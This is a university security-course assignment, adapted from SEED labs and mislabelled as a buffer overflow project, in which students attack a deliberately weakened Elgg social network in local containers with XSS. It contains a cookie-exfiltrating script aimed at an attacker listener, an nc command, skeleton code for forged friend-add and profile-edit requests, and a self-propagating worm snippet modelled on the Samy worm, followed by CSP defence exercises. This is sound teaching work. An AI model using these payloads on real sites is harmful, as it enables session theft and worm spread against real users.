COS430 – Project Deliverable 3 – Buffer Overflow Project – Due Date: April 9th, 2022

Note: The materials presented in this project are inspired by and partially taken from SEED labs, with permission from the author, Dr. Du.

Description:

Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into victim's web browser. Using this malicious code, attackers can steal a victim's credentials, such as session cookies. The access control policies (i.e., the same origin policy) employed by browsers to protect those credentials can be bypassed by exploiting XSS vulnerabilities.

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web application named `Elgg` in our pre-built Ubuntu VM image. `Elgg` is a very popular open-source web application for social network, and it has implemented a number of countermeasures to remedy the XSS threat. To demonstrate how XSS attacks work, we have commented out these countermeasures in `Elgg` in our installation, intentionally making `Elgg` vulnerable to XSS attacks. Without the countermeasures, users can post any arbitrary message, including JavaScript programs, to the user profiles.

In this project, you are expected to exploit this vulnerability to launch an XSS attack on the modified `Elgg`, in a way that is similar to what Samy Kamkar did to `MySpace` in 2005 through the notorious Samy worm. The ultimate goal of this attack is to spread an XSS worm among the users, such that whoever views an infected user profile will be infected, and whoever is infected will add you (i.e., the attacker) to his/her friend list.

This project covers the following topics:

- Cross-Site Scripting attack
- XSS worm and self-propagation
- Session cookies
- HTTP GET and POST requests
- JavaScript and Ajax
- Content Security Policy (CSP)

Project Environment:

This project has been tested on the pre-built Ubuntu 20.04 VM, which can be downloaded from the SEED website.

Task 0 – Environment Setup:

1.1. DNS Setup

We have set up several websites for this project. They are hosted by the container `10.9.0.5`. You need to map the names of the web server to this IP address. Add the following entries to `/etc/hosts`. You need to use the root privilege to modify this file:

```
10.9.0.5      www.seed-server.com
10.9.0.5      www.example32a.com
10.9.0.5      www.example32b.com
10.9.0.5      www.example32c.com
10.9.0.5      www.example60.com
10.9.0.5      www.example70.com
```

1.2. Container Setup and Commands

Download the `Projectsetup.zip` file to your VM, unzip it, and you will get a folder called `Projectsetup`. All the files needed for this project are included in this folder. Use the `docker-compose.yml` file to set up the project environment.

In the following, we list some of the commonly used commands related to Docker and Compose. Since we are going to use these commands very frequently, we have created aliases for them in the `.bashrc` file.

```
$ docker-compose build     # Build the container image
$ docker-compose up        # Start the container
$ docker-compose down      # Shut down the container

// Aliases for the Compose commands above
$ dcbuild           # Alias for: docker-compose build
$ dcup              # Alias for: docker-compose up
$ dcdown            # Alias for: docker-compose down
```

All the containers will be running in the background. To run commands on a container, we often need to get a shell on that container. We first need to use the `"docker ps"` command to find out the ID of the container, and then use `"docker exec"` to start a shell on that container. We have created aliases for them in the `.bashrc` file.

```
$ dockps      // Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh      // Alias for: docker exec -it /bin/bash

// The following example shows how to get a shell inside hostC
$ dockps
b1004832e275        hostA-10.9.0.5
0af4ea7a3e2e        hostB-10.9.0.6
9652715c8e0a        hostC-10.9.0.7

$ docksh 96
root@9652715c8e0a:/#

// Note: If a docker command requires a container ID, you do not need to
//       type the entire ID string. Typing the first few characters will
//       be sufficient, as long as they are unique among all the containers.
```

1.3. Elgg Web Application

We use an open-source web application called `Elgg` in this project. As mentioned above, `Elgg` is a web-based social-networking application. It is already set up in the provided container images; its URL is `http://www.seed-server.com`.

We use two containers, one running the web server (`10.9.0.5`), and the other running the MySQL database (`10.9.0.6`). The IP addresses for these two containers are hardcoded in various places in the configuration. Do not change them from the `docker-compose.yml` file.

MySQL database. Containers are usually disposable, so once it is destroyed, all the data inside the containers are lost. For this project, we do want to keep the data in the MySQL database, so we do not lose our work when we shut-down our container.

To achieve this, we have mounted the `mysql_data` folder on the host machine (inside `Projectsetup` – it will be created after the *MySQL* container runs once) to the `/var/lib/mysql` folder inside the *MySQL* container. This folder is where *MySQL* stores its database. Therefore, even if the container is destroyed, data in the database are still kept.

If you want to start from a clean database, you can remove this folder:

```
$ sudo rm -rf mysql_data
```

User accounts. We have created several user accounts on the `Elgg` server; the username and passwords are given in the following.

UserName	Password
admin	seedelgg
alice	seedalice
boby	seedboby
charlie	seedcharlie
samy	seedsamy

1.4. Preparation: Getting Familiar with the "HTTP Header Live" tool

In this project, you need to construct HTTP requests. To figure out what an acceptable HTTP request in `Elgg` looks like, you need to be able to capture and analyze HTTP requests.

You can use a Firefox add-on called "`HTTP Header Live`" for this purpose. Before you begin working on this project, you should get familiar with this tool. *Instructions on how to use this tool is given in the Guideline Document.*

Task 1 – Posting a Malicious Message to Display an Alert Window (5 Points):

Description: The objective of this task is to embed a JavaScript program in your `Elgg` profile, such that when another user views your profile, the JavaScript program will be executed, and an alert window will be displayed.

The following JavaScript program will display an alert window:

```
<script>alert ('XSS');</script>
```

If you embed the above JavaScript code in your profile, then any user who views your profile will see the alert window. In this case, the JavaScript code is short enough to be typed into the short description field.

If you want to run a long JavaScript, but you are limited by the number of characters you can type in the form, you can store the JavaScript program in a standalone file, save it with the `.js` extension, and then refer to it using the `src` attribute in the `<script>`.

```
<script  type="text/javascript"
         src="http://www.example.com/myscripts.js">
</script>
```

In the above example, the page will fetch the JavaScript program from `http://www.example.com`, which can be any web server.

Submission: In your report, you need to provide detailed explanations of what you did, where you inserted the JavaScript code, your observations, and necessary screenshots.

Task 2 – Posting a Malicious Message to Display Cookies (10 Points):

Description: The objective of this task is to embed a JavaScript program in your `Elgg` profile, such that when another user views your profile, the user's cookies will be displayed in the alert window.

This can be done by adding some additional code to the JavaScript program in the previous task:

```
<script>alert (need to fill this out);</script>
```

Submission: In your report, you need to provide detailed explanations of what you did, your code and where you inserted it, your observations, and necessary screenshots.

Task 3 – Stealing Cookies from the Victim's Machine (10 Points):

Description: In the previous task, the malicious JavaScript code written by the attacker can print out the user's cookies, but only the user can see the cookies, not the attacker.

In this task, the attacker wants the JavaScript code to send the cookies to himself/herself. To achieve this, the malicious JavaScript code needs to send an HTTP request to the attacker, with the cookies appended to the request.

You can do this by having the malicious JavaScript insert an `<img>` tag with its `src` attribute set to the attacker's machine. When the JavaScript inserts the `img` tag, the browser tries to load the image from the URL in the `src` field; this results in an HTTP GET request sent to the attacker's machine.

The JavaScript given below sends the cookies to the port `5555` of the attacker's machine (with IP address `10.9.0.1`), where the attacker has a TCP server listening to the same port.

```
<script>document.write('<img src=http://10.9.0.1:5555>c='
                       + escape(document.cookie) + ' >');
</script>
```

A commonly used program by attackers is `netcat` (or `nc`), which, if running with the `"-l"` option, becomes a TCP server that listens for a connection on the specified port. This server program basically prints out

whatever is sent by the client and sends to the client whatever is typed by the user running the server. Type the command below to listen on port `5555`:

```
$ nc -lknv 5555
```

The `-l` option is used to specify that `nc` should listen for an incoming connection rather than initiate a connection to a remote host. The `-nv` option is used to have `nc` give more verbose output. The `-k` option means when a connection is completed, listen for another one.

Submission: In your report, you need to provide detailed explanations of what you did, your observations, and necessary screenshots.

Task 4 – Becoming the Victim's Friend (15 Points):

Description: In Task 4 and 5, you will perform an attack similar to what *Samy* did to *MySpace* in 2005 (i.e. the *Samy* Worm).

You will write an XSS worm that adds *Samy* as a friend to any other user that visits *Samy*'s page. This worm does not self-propagate. In Task 6, you will make it self-propagating.

In this task, you need to write a malicious JavaScript program that forges HTTP requests directly from the victim's browser, without the intervention of the attacker. The objective of the attack is to add *Samy* as a friend to the victim. We have already created a user called *Samy* on the `Elgg` server (the username is `samy`).

To add a friend for the victim, you should first find out how a legitimate user adds a friend in `Elgg`. More specifically, you need to figure out what are sent to the server when a user adds a friend. Firefox's `HTTP` inspection tool can help you get the information. It can display the contents of any HTTP request message sent from the browser. From the contents, you can identify all the parameters in the request. The *Guideline Document* provides guidelines on how to use the tool.

Once you understand what the add-friend HTTP request look like, you can write a JavaScript program to send out the same HTTP request. We provided a skeleton JavaScript code that aids in completing the task.

```
<script type="text/javascript">
window.onload = function () {
  var Ajax=null;

  var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;          ①
  var token="&__elgg_token="+elgg.security.token.__elgg_token;  ②

  //Construct the HTTP request to add Samy as a friend.
  var sendurl=...;  //FILL IN

  //Create and send Ajax request to add friend
  Ajax=new XMLHttpRequest();
  Ajax.open("GET", sendurl, true);
  Ajax.send();
}
</script>
```

The above code should be placed in the `"About Me"` field of *Samy*'s profile page. This field provides two editing modes: Editor mode (default) and Text mode.

The Editor mode adds extra HTML code to the text typed into the field, while the Text mode does not. Since you do not want any extra code added to your attacking code, the Text mode should be enabled before entering the above JavaScript code. This can be done by clicking on `"Edit HTML"`, which can be found at the top right of the `"About Me"` text field. Complete the code and then answer the two questions below:

- **Question 1:** Explain the purpose of Lines ① and ②, why are they are needed?

- **Question 2:** If the `Elgg` application only provide the Editor mode for the `"About Me"` field, i.e., you cannot switch to the Text mode, can you still launch a successful attack?

Submission: In your report, you need to provide the code, detailed explanations of what you did, your observations, necessary screenshots as well as you need to answer the two questions above.

Task 5 – Modifying the Victim's Profile (15 Points):

Description: The objective of this task is to modify the victim's profile when the victim visits *Samy*'s page. Specifically, to modify the victim's `"About Me"` field. You will write an XSS worm to complete this task. This worm does not self-propagate.

Similar to Task 4, you need to write a malicious JavaScript program that forges HTTP requests directly from the victim's browser, without the intervention of the attacker. To modify profile, you should first find out how a legitimate user edits or modifies his/her profile in `Elgg`. More specifically, you need to figure out how the HTTP POST request is constructed to modify a user's profile. You will use Firefox's `HTTP` inspection tool. Once you understand how the modify-profile HTTP POST request looks like, write a JavaScript program to send out the same HTTP request. We provided a skeleton JavaScript code below.

```
<script type="text/javascript">
window.onload = function(){
  //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
  //and Security Token __elgg_token
  var userName="&name="+elgg.session.user.name;
  var guid="&guid="+elgg.session.user.guid;
  var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
  var token="&__elgg_token="+elgg.security.token.__elgg_token;

  //Construct the content of your url.
  var content=...;     //FILL IN

  var samyGuid=...;    //FILL IN

  var sendurl=...;     //FILL IN

  if(elgg.session.user.guid!=samyGuid)            ①
  {
     //Create and send Ajax request to modify profile
     var Ajax=null;
     Ajax=new XMLHttpRequest();
     Ajax.open("POST", sendurl, true);
     Ajax.setRequestHeader("Content-Type",
                           "application/x-www-form-urlencoded");
     Ajax.send(content);
  }
}
</script>
```

Similar to Task 4, the above code should be placed in the `"About Me"` field of *Samy*'s profile page, and the Text mode should be enabled before entering the above JavaScript code. Complete the code above and answer the following question.

- **Question 3:** Why do we need Line ①? Remove this line and repeat your attack. Report and explain your observation.

Submission: In your report, you need to provide the code, detailed explanations of what you did, your observations, necessary screenshots as well as you need to answer the question above.

Task 6 – Writing a Self-Propagating XXS Worm (20 Points):

Description: To become a real worm, the malicious JavaScript program should be able to propagate itself. Namely, whenever some people view an infected profile, not only will their profiles be modified, but the worm will also be propagated to their profiles, further affecting others who view these newly infected profiles. This way, the more people view the infected profiles, the faster the worm can propagate.

This is exactly the same mechanism used by the *Samy* Worm: within just 20 hours of its October 4 2005, release, over one million users were affected, making *Samy* one of the fastest spreading viruses of all time. The JavaScript code that can achieve this is called a *self-propagating cross-site scripting worm*.

In this task, you need to implement such a worm, which not only modifies the victim's profile and adds the user *"Samy"* as a friend, but also add a copy of the worm itself to the victim's profile, so the victim is turned into an attacker.

To achieve self-propagation, when the malicious JavaScript modifies the victim's profile, it should copy itself to the victim's profile. There are several approaches to achieve this, and we will discuss two common approaches.

Link Approach: If the worm is included using the `src` attribute in the `<script>` tag, writing self-propagating worms is much easier. We have discussed the `src` attribute in Task 1, and an example is given below. The worm can simply copy the following `<script>` tag to the victim's profile, essentially infecting the profile with the same worm.

```
<script> type= ="text/javascript" src="http://www.example.com/xxs_worm.js">
</script>
```

DOM Approach: If the entire JavaScript program (i.e., the worm) is embedded in the infected profile, to propagate the worm to another profile, the worm code can use DOM APIs to retrieve a copy of itself from the web page. An example of using DOM APIs is given below. This code gets a copy of itself, and displays it in an alert window:

```
<script id="worm">
   var headerTag = "<script id=\"worm\" type=\"text/javascript\">";  ①
   var jsCode = document.getElementById("worm").innerHTML;           ②
   var tailTag = "</" + "script>";                                   ③

   var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);  ④

   alert(jsCode);
</script>
```

It should be noted that `innerHTML` (line ②) only gives us the inside part of the code, not including the surrounding `script` tags. You need to add the beginning tag `<script id="worm">` (line ①) and the ending tag `</script>` (line ③) to form an identical copy of the malicious code.

When data are sent in HTTP POST requests with the `Content-Type` set to `application/x-wwwform-urlencoded`, which is the type used in our code, the data should also be encoded.

The encoding scheme is called URL *encoding*, which replaces non-alphanumeric characters in the data with `%HH`, a percentage sign and two hexadecimal digits representing the ASCII code of the character. The `encodeURIComponent()` function in line ④ is used to *URL-encode* a string.

Submission: You need to try both Link and DOM approaches. In your report, you need to provide the code, detailed explanations of what you did, your observations, necessary screenshots as well as you need to answer the question above.

Task 7 – Defeating XXS Attacks Using CSP (25 Points):

The fundamental problem of the XSS vulnerability is that HTML allows JavaScript code to be mixed with data. Therefore, to fix this fundamental problem, we need to separate code from data. There are two ways to include JavaScript code inside an HTML page, one is the *inline* approach, and the other is the *link* approach. The inline approach directly places code inside the page, while the link approach puts the code in an external file, and then link to it from inside the page.

The inline approach is the culprit of the XSS vulnerability, because browsers do not know where the code originally comes from: is it from the trusted web server or from untrusted users? Without such knowledge, browsers do not know which code is safe to execute, and which one is dangerous. The link approach provides a very important piece of information to browsers, i.e., where the code comes from. Websites can then tell browsers which sources are trustworthy, so browsers know which piece of code is safe to execute. Although attackers can also use the link approach to include code in their input, they cannot place their code in those trustworthy places.

How websites tell browsers which code source is trustworthy is achieved using a security mechanism called *Content Security Policy (CSP)*. This mechanism is specifically designed to defeat XSS and *Clickjacking* attacks. It has become a standard, which is supported by most browsers nowadays. CSP not only restricts JavaScript code, but it also restricts other page contents, such as limiting where pictures, audio, and video can come from, as well as restricting whether a page can be put inside an iframe or not (used for defeating *Clickjacking* attacks). Here, we will only focus on how to use CSP to defeat XSS attacks.

Task 7.0 –Experiment Website Setup

To conduct experiments on CSP, you will set up several websites. Inside the `Projectsetup/image_www` docker image folder, there is a file called `apache_csp.conf`. It defines five websites, which share the same folder, but they will use different files in this folder.

The `example60` and `example70` sites are used for hosting JavaScript code. The `example32a`, `example32b`, and `example32c` are the three websites that have different CSP configurations. Details of the configuration will be explained later.

Changing the configuration file. In the experiment, you need to modify this Apache configuration file (`apache_csp.conf`). If you make a modification directly on the file inside the image folder, you need to rebuild the image and restart the container, so the change can take effect. You can also modify the file while

the container is running. The downside of this option is that to keep the docker image small, we have only installed a very simple text editor called `nano` inside the container. It should be sufficient for simple editing. If you do not like it, you can always add an installation command to the `Dockerfile` to install your favorite command-line text editor.

On the running container, you can find the configuration file `apache_csp.conf` inside the `/etc/apache2/sites-available` folder. After making changes, you need to restart the Apache server for the changes to take effect:

```
# service apache2 restart
```

DNS Setup. You will access the above websites from our VM. To access them through their respective URLs, you need to add the following entries to the `/etc/hosts` file (if you have not done so already at the beginning of the project), so these hostnames are mapped to the IP address of the server container (`10.9.0.5`). You need to use the root privilege to change this file (using `sudo`).

```
10.9.0.5      www.example32a.com
10.9.0.5      www.example32b.com
10.9.0.5      www.example32c.com
10.9.0.5      www.example60.com
10.9.0.5      www.example70.com
```

Task 7.1 – 5 Points: The Web Page for the Experiment

The `example32(a|b|c)` servers host the same web page `index.html`, which is used to demonstrate how the CSP policies work. In this page, there are six areas, `area1` to `areas6`. Initially, each area displays `"Failed"`. The page also includes six pieces of JavaScript code, each trying to write `"OK"` to its corresponding area. If you can see `OK` in an area, that means, the JavaScript code corresponding to that area has been executed successfully; otherwise, you would see `Failed`. There is also a button on this page. If it is clicked, a message will pop up, if the underlying JavaScript code gets triggered.

```
<html>
<h2 >CSP Experiment</h2>
<p>1. Inline: Nonce (111-111-111): <span id='area1'><font color='red'>Failed</font></span></p>
<p>2. Inline: Nonce (222-222-222): <span id='area2'><font color='red'>Failed</font></span></p>
<p>3. Inline: No Nonce: <span id='area3'><font color='red'>Failed</font></span></p>
<p>4. From self: <span id='area4'><font color='red'>Failed</font></span></p>
<p>5. From www.example60.com: <span id='area5'><font color='red'>Failed</font></span></p>
<p>6. From www.example70.com: <span id='area6'><font color='red'>Failed</font></span></p>
<p>7. From button click: <button onclick="alert('JS Code executed!')">Click me</button></p>

<script type="text/javascript" nonce="111-111-111">
document.getElementById('area1').innerHTML = "<font color='green'>OK</font>";
</script>

<script type="text/javascript" nonce="222-222-222">
document.getElementById('area2').innerHTML = "<font color='green'>OK</font>";
</script>

<script type="text/javascript">
document.getElementById('area3').innerHTML = "<font color='green'>OK</font>";
</script>

<script src="script_area4.js"> </script>
<script src="http://www.example60.com/script_area5.js"> </script>
<script src="http://www.example70.com/script_area6.js"> </script>

</html>
```

Submission: In your report, describe and explain your observations.

Task 7.2 – 5 Points: Setting CSP Policies
CSP is set by the web server as an HTTP header. There are two typical ways to set the header, by the web server (such as Apache) or by the web application. In this experiment, you will conduct experiments using both approaches.

CSP configuration by Apache. Apache can set HTTP headers for all the responses, so you can use Apache to set CSP policies. In our configuration, we set up three websites, but only the second one sets CSP policies (the lines marked by ■). With this setup, when you visit `example32b`, Apache will add the specified CSP header to all the response from this site.

```
# Purpose: Do not set CSP policies
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example32a.com
    DirectoryIndex index.html
</VirtualHost>

# Purpose: Setting CSP policies in Apache configuration
<VirtualHost *:80>
    DocumentRoot /var/www/csp
    ServerName www.example32b.com
    DirectoryIndex index.html
    Header set Content-Security-Policy " \          ■
             default-src 'self'; \                  ■
             script-src 'self' *.example70.com \    ■
           "
</VirtualHost>

# Purpose: Setting CSP policies in web applications
<VirtualHost *:80>                                  ●
    DocumentRoot /var/www/csp
    ServerName www.example32c.com
    DirectoryIndex phpindex.php
</VirtualHost>
```

CSP configuration by web applications. For the third `VirtualHost` entry in our configuration file (marked by ●), we did not set up any CSP policy. However, instead of accessing `index.html`, the entry point of this site is `phpindex.php`, which is a PHP program. This program, listed below, adds a CSP header to the response generated from the program.

```
<?php
  $cspheader = "Content-Security-Policy:".
               "default-src 'self';".
               "script-src 'self' 'nonce-111-111-111' *.example70.com".
               "";
  header($cspheader);
?>

<?php include 'index.html';?>
```

Submission: Examine the two ways that you can set the header and then, in your report, describe and explain your examination.

Task 7.3 – 15 Points: Task 7 – Questions – Each Question has 3 points.
After starting the containers and making changes to the `/etc/hosts`, visit the following URLs from your VM:

```
http://www.example32a.com
http://www.example32b.com
http://www.example32c.com
```

Submission: Answer the following questions in your report.

1. Describe and explain your observations when you visit these websites.

2. Click the button in the web pages from all the three websites, describe and explain your observations.

3. Change the server configuration on `example32b` (modify the Apache configuration), so Areas 5 and 6 display `OK`. Include your modified configuration in your report.

4. Change the server configuration on `example32c` (modify the PHP code), so Areas 1, 2, 4, 5, and 6 all display `OK`. Include your modified configuration in your report.

5. Explain why CSP can help prevent *Cross-Site Scripting* attacks.

Additional Information – Elgg's Countermeasures:
This section is only for information, and there is no specific task to do. It shows how Elgg defends against the XSS attack. Elgg does have built-in countermeasures, and we have disabled them to make the attack work.

Elgg uses two countermeasures. One is a custom-built security plugin `HTMLawed`, which validates the user input and removes the tags from the input. We have commented out the invocation of the plugin inside the `filter_tags()` function in `input.php`, which is located inside `vendor/elgg/elgg/engine/lib/`. See the following:

```
function filter_tags($var) {
       // return elgg_trigger_plugin_hook('validate', 'input', null, $var);
       return $var;
}
```

In addition to `HTMLawed`, Elgg also uses PHP's built-in method `htmlspecialchars()` to encode the special characters in user input, such as encoding `"<"` to `"&alt"`, `">"` to `"&gt"`, etc. This method is invoked in `dropdown.php`, `text.php`, and `url.php` inside the `vendor/elgg/elgg/views/default/output/` folder. We have commented them out to turn off the countermeasure.

Submission for all Tasks: You need to submit a detailed project report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits.